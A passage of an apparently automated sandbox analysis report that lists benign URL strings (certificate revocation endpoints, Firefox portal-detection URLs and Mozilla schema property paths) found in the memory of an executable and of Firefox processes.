Source: 79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001B.00000002.3640448626.000001C23DD70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F184000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DDA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3624693263.000001C23CC5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3654754835.000001C23FD87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3652245578.000001C23F184000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23ED53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001B.00000002.3646061223.000001C23E603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CF21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437483944.000001C23A0C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3653135084.000001C23FB7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3654754835.000001C23FD87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E0F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3263358958.000001E2D6CB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3267971841.00000235A5890000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_REQUEST_BODY_SENTbrowserDidUpgradeIns
Source: firefox.exe, 0000001B.00000002.3640448626.000001C23DD70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437483944.000001C23A0C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3624693263.000001C23CC5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E02D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3286911695.000001C22C3D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3436711953.000001C239BD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3263358958.000001E2D6CB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3267971841.00000235A5890000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001B.00000002.3646061223.000001C23E603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437483944.000001C23A0C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E02D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3438395331.000001C23B6A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3263358958.000001E2D6CB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3267971841.00000235A5890000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001B.00000002.3346346381.000001C237B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001B.00000002.3346346381.000001C237B52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times$
Source: firefox.exe, 0000001B.00000002.3346346381.000001C237B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001B.00000002.3346346381.000001C237B52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001B.00000002.3346346381.000001C237B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehavior
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledresource://services-sync/constants.sys.mjs
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledresource://services-sync/constants.sys.mjsresource:/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemshttps://www.mozilla.
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemsbrowser.newtabpage.a
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238527000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238527000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/cbhStudyRow
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/cbhStudyUs
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/extraParams
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/filterFetchResponse
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/insecureFallbackhttp://mozilla.org/#/properties/tlsGreaseProb
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238527000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/javascriptValidator
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mediaExceptionsStrategy
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/migrateExtensions
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsAlternativeEnable
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsDaysCutOff
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesAlternativeEnable
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesHalfLifeDays
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesHighWeight
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesLowWeight
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesMediumWeight
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesNumSampledVisits
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/richSuggestionsFeatureGate
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/serpEventTelemetryEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showImportAll
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypoint
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/trendingEnabled
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/trendingMaxResultsNoSearchMode
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/trendingRequireSearchMode
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/useNewWizard
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238527000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
